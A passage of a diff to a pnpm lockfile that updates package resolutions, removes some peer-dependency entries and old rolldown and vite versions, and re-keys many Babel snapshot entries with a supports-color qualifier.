optional: true '@vscode/emmet-helper@2.11.0': resolution: {integrity: sha512-QLxjQR3imPZPQltfbWRnHU6JecWTF1QSWhx3GAKQpslx7y3Dp6sIIXhKjiUJ/BR9FX8PVthjr9PD6pNwOJfAzw==} @@ -7415,19 +7309,9 @@ packages: ajv-formats@2.1.1: resolution: {integrity: sha512-Wx0Kx52hxE7C18hkMEggYlEifqWZtYaRgouJor+WMdPnQyEK13vgEWyVNup7SoeeoLMsr4kf5h6dOW11I15MUA==} - peerDependencies: - ajv: ^8.0.0 - peerDependenciesMeta: - ajv: - optional: true ajv-formats@3.0.1: resolution: {integrity: sha512-8iUql50EUR+uUcdRQ3HDqa6EVyo3docL8g5WJ3FNcWmu62IbkGUue/pEyLBW8VGKKucTPgqeks4fIU1DA4yowQ==} - peerDependencies: - ajv: ^8.0.0 - peerDependenciesMeta: - ajv: - optional: true ajv-keywords@5.1.0: resolution: {integrity: sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==} @@ -8965,7 +8849,6 @@ packages: engines: {node: ^22.13.0 || ^24.3.0 || ^26.0.0 || >=27.0.0} hasBin: true peerDependencies: - '@expo/dom-webview': 58.0.2 '@expo/metro-runtime': '*' react: '*' react-dom: '*' @@ -8973,8 +8856,6 @@ packages: react-native-web: '*' react-native-webview: '*' peerDependenciesMeta: - '@expo/dom-webview': - optional: true '@expo/metro-runtime': optional: true react-dom: @@ -11236,11 +11117,6 @@ packages: engines: {node: ^20.19.0 || >=22.12.0} hasBin: true - rolldown@1.2.13: - resolution: {integrity: sha512-/5apOkwWxtACcQtZ5WlrAsKS4JwXVThQPJZ3RqIruRY9UG9M8e0VlXN068xum/JRKA4aIUoJ13ghe/kGCvidiQ==} - engines: {node: ^20.19.0 || >=22.12.0} - hasBin: true - rolldown@1.2.5: resolution: {integrity: sha512-VD2IE5PUG4Oj8zz2VGykiYd5wbnjdIiSsNQb8Qu5B+noEp+A78mu2iVvpp27g8es14Tk9rofNs5Tku9iQCS4fA==} engines: {node: ^20.19.0 || >=22.12.0} @@ -12087,56 +11963,8 @@ packages: playwright: optional: true - vite@8.3.4: - resolution: {integrity: sha512-IftLE8phJhdNRIGNEV4JCCvfNScoZQVfcXaN8TQropWGJtOHcu+iAB9pHcuGvmEb/kddw0LBe/jS8ztdC6xdiQ==} - engines: {node: ^20.19.0 || >=22.12.0} - hasBin: true - peerDependencies: - '@types/node': 24.12.4 - '@vitejs/devtools': ^0.7.1 - esbuild: ^0.27.0 || ^0.28.0 - jiti: '>=1.21.0' - less: ^4.0.0 - sass: ^1.70.0 - sass-embedded: ^1.70.0 - stylus: '>=0.54.8' - sugarss: ^5.0.0 - terser: ^5.16.0 - tsx: ^4.8.1 - yaml: ^2.9.0 - peerDependenciesMeta: - '@types/node': - optional: true - '@vitejs/devtools': - optional: true - esbuild: - optional: true - jiti: - optional: true - less: - optional: true - sass: - optional: true - sass-embedded: - optional: true - stylus: - optional: true - sugarss: - optional: true - terser: - optional: true - tsx: - optional: true - yaml: - optional: true - vitefu@1.1.3: resolution: {integrity: sha512-ub4okH7Z5KLjb6hDyjqrGXqWtWvoYdU3IGm/NorpgHncKoLTCfRIbvlhBm7r0YstIaQRYlp4yEbFqDcKSzXSSg==} - peerDependencies: - vite: ^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0 - peerDependenciesMeta: - vite: - optional: true vitest@5.0.5: resolution: {integrity: sha512-cPODOMF8YnkiiYtDdHo6n4wWmBrOBBbOIYH2d33M4l3CdNn72h+qMmO6uXffUN6A5AZFXNND/d+krS9mgkXRfg==} @@ -12221,17 +12049,23 @@ packages: resolution: {integrity: sha512-IdD13Z9N2Bu8EM6CM0fDV1E69olEYGHDU25X51YXmq8Y0CmJ2LNj6gOiBJgpS5JGUqFzECVhMNBW7R0sPdRTMQ==} peerDependencies: '@volar/language-service': ~2.4.0 + typescript: '*' peerDependenciesMeta: '@volar/language-service': optional: true + typescript: + optional: true volar-service-typescript@0.0.70: resolution: {integrity: sha512-l46Bx4cokkUedTd74ojO5H/zqHZJ8SUuyZ0IB8JN4jfRqUM3bQFBHoOwlZCyZmOeO0A3RQNkMnFclxO4c++gsg==} peerDependencies: '@volar/language-service': ~2.4.0 + typescript: '*' peerDependenciesMeta: '@volar/language-service': optional: true + typescript: + optional: true volar-service-yaml@0.0.70: resolution: {integrity: sha512-0c8bXDBeoATF9F6iPIlOuYTuZAC4c+yi0siQo920u7eiBJk8oQmUmg9cDUbR4+Gl++bvGP4plj3fErbJuPqdcQ==} @@ -12573,7 +12407,7 @@ snapshots: dependencies: json-schema: 0.4.0 - '@alchemy.run/cloudflare-runtime@2.0.0-beta.80(@distilled.cloud/cloudflare@1.0.0-rc.13(effect@4.0.5))(@effect/platform-node@4.0.5(bufferutil@4.1.0)(effect@4.0.5)(redis@6.2.1)(utf-8-validate@6.0.6))(@types/node@24.12.4)(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(effect@4.0.5)(rolldown@1.2.5)(typescript@7.0.2)': + '@alchemy.run/cloudflare-runtime@2.0.0-beta.80(@distilled.cloud/cloudflare@1.0.0-rc.13(effect@4.0.5))(@effect/platform-node@4.0.5(bufferutil@4.1.0)(effect@4.0.5)(redis@6.2.1)(utf-8-validate@6.0.6))(@types/node@24.12.4)(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(effect@4.0.5)(rolldown@1.2.5)(typescript@7.0.2)': dependencies: '@alchemy.run/node-utils': 2.0.0-beta.80 '@cloudflare/unenv-preset': 2.16.1(unenv@2.0.0-rc.24)(workerd@1.20260918.1) @@ -12590,7 +12424,7 @@ snapshots: optionalDependencies: '@effect/platform-node': 4.0.5(bufferutil@4.1.0)(effect@4.0.5)(redis@6.2.1)(utf-8-validate@6.0.6) rolldown: 1.2.5 - vite: '@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0)' + vite: '@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0)' transitivePeerDependencies: - '@types/node' - proxy-agent @@ -12610,10 +12444,10 @@ snapshots: '@types/react': 19.3.0 react-devtools-core: 6.1.5(bufferutil@4.1.0)(utf-8-validate@6.0.6) - '@anthropic-ai/claude-agent-sdk@0.3.276(@anthropic-ai/sdk@0.93.0(zod@4.6.5))(@modelcontextprotocol/sdk@1.29.0(zod@4.6.5))(zod@4.6.5)': + '@anthropic-ai/claude-agent-sdk@0.3.276(@anthropic-ai/sdk@0.93.0(zod@4.6.5))(@modelcontextprotocol/sdk@1.29.0(supports-color@8.1.1)(zod@4.6.5))(zod@4.6.5)': dependencies: '@anthropic-ai/sdk': 0.93.0(zod@4.6.5) - '@modelcontextprotocol/sdk': 1.29.0(zod@4.6.5) + '@modelcontextprotocol/sdk': 1.29.0(supports-color@8.1.1)(zod@4.6.5) zod: 4.6.5 '@anthropic-ai/sdk@0.93.0(zod@4.6.5)': @@ -12719,17 +12553,17 @@ snapshots: '@jridgewell/sourcemap-codec': 1.6.0 '@volar/kit': 2.4.28(typescript@6.0.3) '@volar/language-core': 2.4.28 - '@volar/language-server': 2.4.28 - '@volar/language-service': 2.4.28 + '@volar/language-server': 2.4.28(typescript@6.0.3) + '@volar/language-service': 2.4.28(typescript@6.0.3) muggle-string: 0.4.1 tinyglobby: 0.2.17 - volar-service-css: 0.0.70(@volar/language-service@2.4.28) - volar-service-emmet: 0.0.70(@volar/language-service@2.4.28) - volar-service-html: 0.0.70(@volar/language-service@2.4.28) - volar-service-prettier: 0.0.70(@volar/language-service@2.4.28)(prettier@3.8.3) - volar-service-typescript: 0.0.70(@volar/language-service@2.4.28) - volar-service-typescript-twoslash-queries: 0.0.70(@volar/language-service@2.4.28) - volar-service-yaml: 0.0.70(@volar/language-service@2.4.28) + volar-service-css: 0.0.70(@volar/language-service@2.4.28(typescript@6.0.3)) + volar-service-emmet: 0.0.70(@volar/language-service@2.4.28(typescript@6.0.3)) + volar-service-html: 0.0.70(@volar/language-service@2.4.28(typescript@6.0.3)) + volar-service-prettier: 0.0.70(@volar/language-service@2.4.28(typescript@6.0.3))(prettier@3.8.3) + volar-service-typescript: 0.0.70(@volar/language-service@2.4.28(typescript@6.0.3))(typescript@6.0.3) + volar-service-typescript-twoslash-queries: 0.0.70(@volar/language-service@2.4.28(typescript@6.0.3))(typescript@6.0.3) + volar-service-yaml: 0.0.70(@volar/language-service@2.4.28(typescript@6.0.3)) vscode-html-languageservice: 5.6.2 vscode-uri: 3.1.0 optionalDependencies: @@ -12998,20 +12832,20 @@ snapshots: '@babel/compat-data@7.29.7': {} - '@babel/core@7.29.7': + '@babel/core@7.29.7(supports-color@8.1.1)': dependencies: '@babel/code-frame': 7.29.7 '@babel/generator': 7.29.7 '@babel/helper-compilation-targets': 7.29.7 - '@babel/helper-module-transforms': 7.29.7(@babel/core@7.29.7) + '@babel/helper-module-transforms': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) '@babel/helpers': 7.29.7 '@babel/parser': 7.29.8 '@babel/template': 7.29.7 - '@babel/traverse': 7.29.7 + '@babel/traverse': 7.29.7(supports-color@8.1.1) '@babel/types': 7.29.8 '@jridgewell/remapping': 2.3.5 convert-source-map: 2.0.0 - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) gensync: 1.0.0-beta.2 json5: 2.2.3 semver: 6.3.1 @@ -13038,32 +12872,32 @@ snapshots: lru-cache: 5.1.1 semver: 6.3.1 - '@babel/helper-create-class-features-plugin@7.29.7(@babel/core@7.29.7)': + '@babel/helper-create-class-features-plugin@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1)': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-annotate-as-pure': 7.29.7 - '@babel/helper-member-expression-to-functions': 7.29.7 + '@babel/helper-member-expression-to-functions': 7.29.7(supports-color@8.1.1) '@babel/helper-optimise-call-expression': 7.29.7 - '@babel/helper-replace-supers': 7.29.7(@babel/core@7.29.7) - '@babel/helper-skip-transparent-expression-wrappers': 7.29.7 - '@babel/traverse': 7.29.7 + '@babel/helper-replace-supers': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/helper-skip-transparent-expression-wrappers': 7.29.7(supports-color@8.1.1) + '@babel/traverse': 7.29.7(supports-color@8.1.1) semver: 6.3.1 transitivePeerDependencies: - supports-color - '@babel/helper-create-regexp-features-plugin@7.29.7(@babel/core@7.29.7)': + '@babel/helper-create-regexp-features-plugin@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-annotate-as-pure': 7.29.7 regexpu-core: 6.4.0 semver: 6.3.1 - '@babel/helper-define-polyfill-provider@0.6.8(@babel/core@7.29.7)': + '@babel/helper-define-polyfill-provider@0.6.8(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1)': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-compilation-targets': 7.29.7 '@babel/helper-plugin-utils': 7.29.7 - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) lodash.debounce: 4.0.8 resolve: 1.22.12 transitivePeerDependencies: @@ -13071,26 +12905,26 @@ snapshots: '@babel/helper-globals@7.29.7': {} - '@babel/helper-member-expression-to-functions@7.29.7': + '@babel/helper-member-expression-to-functions@7.29.7(supports-color@8.1.1)': dependencies: - '@babel/traverse': 7.29.7 + '@babel/traverse': 7.29.7(supports-color@8.1.1) '@babel/types': 7.29.8 transitivePeerDependencies: - supports-color - '@babel/helper-module-imports@7.29.7': + '@babel/helper-module-imports@7.29.7(supports-color@8.1.1)': dependencies: - '@babel/traverse': 7.29.7 + '@babel/traverse': 7.29.7(supports-color@8.1.1) '@babel/types': 7.29.8 transitivePeerDependencies: - supports-color - '@babel/helper-module-transforms@7.29.7(@babel/core@7.29.7)': + '@babel/helper-module-transforms@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1)': dependencies: - '@babel/core': 7.29.7 - '@babel/helper-module-imports': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) + '@babel/helper-module-imports': 7.29.7(supports-color@8.1.1) '@babel/helper-validator-identifier': 7.29.7 - '@babel/traverse': 7.29.7 + '@babel/traverse': 7.29.7(supports-color@8.1.1) transitivePeerDependencies: - supports-color @@ -13100,27 +12934,27 @@ snapshots: '@babel/helper-plugin-utils@7.29.7': {} - '@babel/helper-remap-async-to-generator@7.29.7(@babel/core@7.29.7)': + '@babel/helper-remap-async-to-generator@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1)': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-annotate-as-pure': 7.29.7 - '@babel/helper-wrap-function': 7.29.7 - '@babel/traverse': 7.29.7 + '@babel/helper-wrap-function': 7.29.7(supports-color@8.1.1) + '@babel/traverse': 7.29.7(supports-color@8.1.1) transitivePeerDependencies: - supports-color - '@babel/helper-replace-supers@7.29.7(@babel/core@7.29.7)': + '@babel/helper-replace-supers@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1)': dependencies: - '@babel/core': 7.29.7 - '@babel/helper-member-expression-to-functions': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) + '@babel/helper-member-expression-to-functions': 7.29.7(supports-color@8.1.1) '@babel/helper-optimise-call-expression': 7.29.7 - '@babel/traverse': 7.29.7 + '@babel/traverse': 7.29.7(supports-color@8.1.1) transitivePeerDependencies: - supports-color - '@babel/helper-skip-transparent-expression-wrappers@7.29.7': + '@babel/helper-skip-transparent-expression-wrappers@7.29.7(supports-color@8.1.1)': dependencies: - '@babel/traverse': 7.29.7 + '@babel/traverse': 7.29.7(supports-color@8.1.1) '@babel/types': 7.29.8 transitivePeerDependencies: - supports-color @@ -13131,10 +12965,10 @@ snapshots: '@babel/helper-validator-option@7.29.7': {} - '@babel/helper-wrap-function@7.29.7': + '@babel/helper-wrap-function@7.29.7(supports-color@8.1.1)': dependencies: '@babel/template': 7.29.7 - '@babel/traverse': 7.29.7 + '@babel/traverse': 7.29.7(supports-color@8.1.1) '@babel/types': 7.29.8 transitivePeerDependencies: - supports-color @@ -13148,304 +12982,304 @@ snapshots: dependencies: '@babel/types': 7.29.8 - '@babel/plugin-proposal-decorators@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-proposal-decorators@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1)': dependencies: - '@babel/core': 7.29.7 - '@babel/helper-create-class-features-plugin': 7.29.7(@babel/core@7.29.7) + '@babel/core': 7.29.7(supports-color@8.1.1) + '@babel/helper-create-class-features-plugin': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 - '@babel/plugin-syntax-decorators': 7.29.7(@babel/core@7.29.7) + '@babel/plugin-syntax-decorators': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) transitivePeerDependencies: - supports-color - '@babel/plugin-proposal-export-default-from@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-proposal-export-default-from@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 - '@babel/plugin-syntax-decorators@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-syntax-decorators@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 - '@babel/plugin-syntax-dynamic-import@7.8.3(@babel/core@7.29.7)': + '@babel/plugin-syntax-dynamic-import@7.8.3(@babel/core@7.29.7(supports-color@8.1.1))': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 - '@babel/plugin-syntax-export-default-from@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-syntax-export-default-from@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 - '@babel/plugin-syntax-flow@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-syntax-flow@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 - '@babel/plugin-syntax-jsx@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-syntax-jsx@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 - '@babel/plugin-syntax-nullish-coalescing-operator@7.8.3(@babel/core@7.29.7)': + '@babel/plugin-syntax-nullish-coalescing-operator@7.8.3(@babel/core@7.29.7(supports-color@8.1.1))': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 - '@babel/plugin-syntax-optional-chaining@7.8.3(@babel/core@7.29.7)': + '@babel/plugin-syntax-optional-chaining@7.8.3(@babel/core@7.29.7(supports-color@8.1.1))': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 - '@babel/plugin-syntax-typescript@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-syntax-typescript@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 - '@babel/plugin-transform-arrow-functions@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-transform-arrow-functions@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 - '@babel/plugin-transform-async-generator-functions@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-transform-async-generator-functions@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1)': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 - '@babel/helper-remap-async-to-generator': 7.29.7(@babel/core@7.29.7) - '@babel/traverse': 7.29.7 + '@babel/helper-remap-async-to-generator': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/traverse': 7.29.7(supports-color@8.1.1) transitivePeerDependencies: - supports-color - '@babel/plugin-transform-async-to-generator@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-transform-async-to-generator@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1)': dependencies: - '@babel/core': 7.29.7 - '@babel/helper-module-imports': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) + '@babel/helper-module-imports': 7.29.7(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 - '@babel/helper-remap-async-to-generator': 7.29.7(@babel/core@7.29.7) + '@babel/helper-remap-async-to-generator': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) transitivePeerDependencies: - supports-color - '@babel/plugin-transform-block-scoping@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-transform-block-scoping@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 - '@babel/plugin-transform-class-properties@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-transform-class-properties@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1)': dependencies: - '@babel/core': 7.29.7 - '@babel/helper-create-class-features-plugin': 7.29.7(@babel/core@7.29.7) + '@babel/core': 7.29.7(supports-color@8.1.1) + '@babel/helper-create-class-features-plugin': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 transitivePeerDependencies: - supports-color - '@babel/plugin-transform-class-static-block@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-transform-class-static-block@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1)': dependencies: - '@babel/core': 7.29.7 - '@babel/helper-create-class-features-plugin': 7.29.7(@babel/core@7.29.7) + '@babel/core': 7.29.7(supports-color@8.1.1) + '@babel/helper-create-class-features-plugin': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 transitivePeerDependencies: - supports-color - '@babel/plugin-transform-classes@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-transform-classes@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1)': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-annotate-as-pure': 7.29.7 '@babel/helper-compilation-targets': 7.29.7 '@babel/helper-globals': 7.29.7 '@babel/helper-plugin-utils': 7.29.7 - '@babel/helper-replace-supers': 7.29.7(@babel/core@7.29.7) - '@babel/traverse': 7.29.7 + '@babel/helper-replace-supers': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/traverse': 7.29.7(supports-color@8.1.1) transitivePeerDependencies: - supports-color - '@babel/plugin-transform-destructuring@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-transform-destructuring@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1)': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 - '@babel/traverse': 7.29.7 + '@babel/traverse': 7.29.7(supports-color@8.1.1) transitivePeerDependencies: - supports-color - '@babel/plugin-transform-export-namespace-from@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-transform-export-namespace-from@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 - '@babel/plugin-transform-flow-strip-types@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-transform-flow-strip-types@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 - '@babel/plugin-syntax-flow': 7.29.7(@babel/core@7.29.7) + '@babel/plugin-syntax-flow': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) - '@babel/plugin-transform-for-of@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-transform-for-of@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1)': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 - '@babel/helper-skip-transparent-expression-wrappers': 7.29.7 + '@babel/helper-skip-transparent-expression-wrappers': 7.29.7(supports-color@8.1.1) transitivePeerDependencies: - supports-color - '@babel/plugin-transform-logical-assignment-operators@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-transform-logical-assignment-operators@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 - '@babel/plugin-transform-modules-commonjs@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-transform-modules-commonjs@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1)': dependencies: - '@babel/core': 7.29.7 - '@babel/helper-module-transforms': 7.29.7(@babel/core@7.29.7) + '@babel/core': 7.29.7(supports-color@8.1.1) + '@babel/helper-module-transforms': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 transitivePeerDependencies: - supports-color - '@babel/plugin-transform-named-capturing-groups-regex@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-transform-named-capturing-groups-regex@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))': dependencies: - '@babel/core': 7.29.7 - '@babel/helper-create-regexp-features-plugin': 7.29.7(@babel/core@7.29.7) + '@babel/core': 7.29.7(supports-color@8.1.1) + '@babel/helper-create-regexp-features-plugin': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) '@babel/helper-plugin-utils': 7.29.7 - '@babel/plugin-transform-nullish-coalescing-operator@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-transform-nullish-coalescing-operator@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 - '@babel/plugin-transform-object-rest-spread@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-transform-object-rest-spread@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1)': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-compilation-targets': 7.29.7 '@babel/helper-plugin-utils': 7.29.7 - '@babel/plugin-transform-destructuring': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-parameters': 7.29.7(@babel/core@7.29.7) - '@babel/traverse': 7.29.7 + '@babel/plugin-transform-destructuring': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-parameters': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/traverse': 7.29.7(supports-color@8.1.1) transitivePeerDependencies: - supports-color - '@babel/plugin-transform-optional-catch-binding@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-transform-optional-catch-binding@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 - '@babel/plugin-transform-optional-chaining@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-transform-optional-chaining@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1)': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 - '@babel/helper-skip-transparent-expression-wrappers': 7.29.7 + '@babel/helper-skip-transparent-expression-wrappers': 7.29.7(supports-color@8.1.1) transitivePeerDependencies: - supports-color - '@babel/plugin-transform-parameters@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-transform-parameters@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 - '@babel/plugin-transform-private-methods@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-transform-private-methods@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1)': dependencies: - '@babel/core': 7.29.7 - '@babel/helper-create-class-features-plugin': 7.29.7(@babel/core@7.29.7) + '@babel/core': 7.29.7(supports-color@8.1.1) + '@babel/helper-create-class-features-plugin': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 transitivePeerDependencies: - supports-color - '@babel/plugin-transform-private-property-in-object@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-transform-private-property-in-object@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1)': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-annotate-as-pure': 7.29.7 - '@babel/helper-create-class-features-plugin': 7.29.7(@babel/core@7.29.7) + '@babel/helper-create-class-features-plugin': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 transitivePeerDependencies: - supports-color - '@babel/plugin-transform-react-display-name@7.29.7(@babel/core@7.29.7)': + '@babel/plugin-transform-react-display-name@7.29.7(@babel/core@7.29.7(supports-color@8.1.1))': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/helper-plugin-utils': 7.29.7 - '@babel/plugin-transform-react-jsx-development@7.29.7(@babel/core@7.29.7)': + 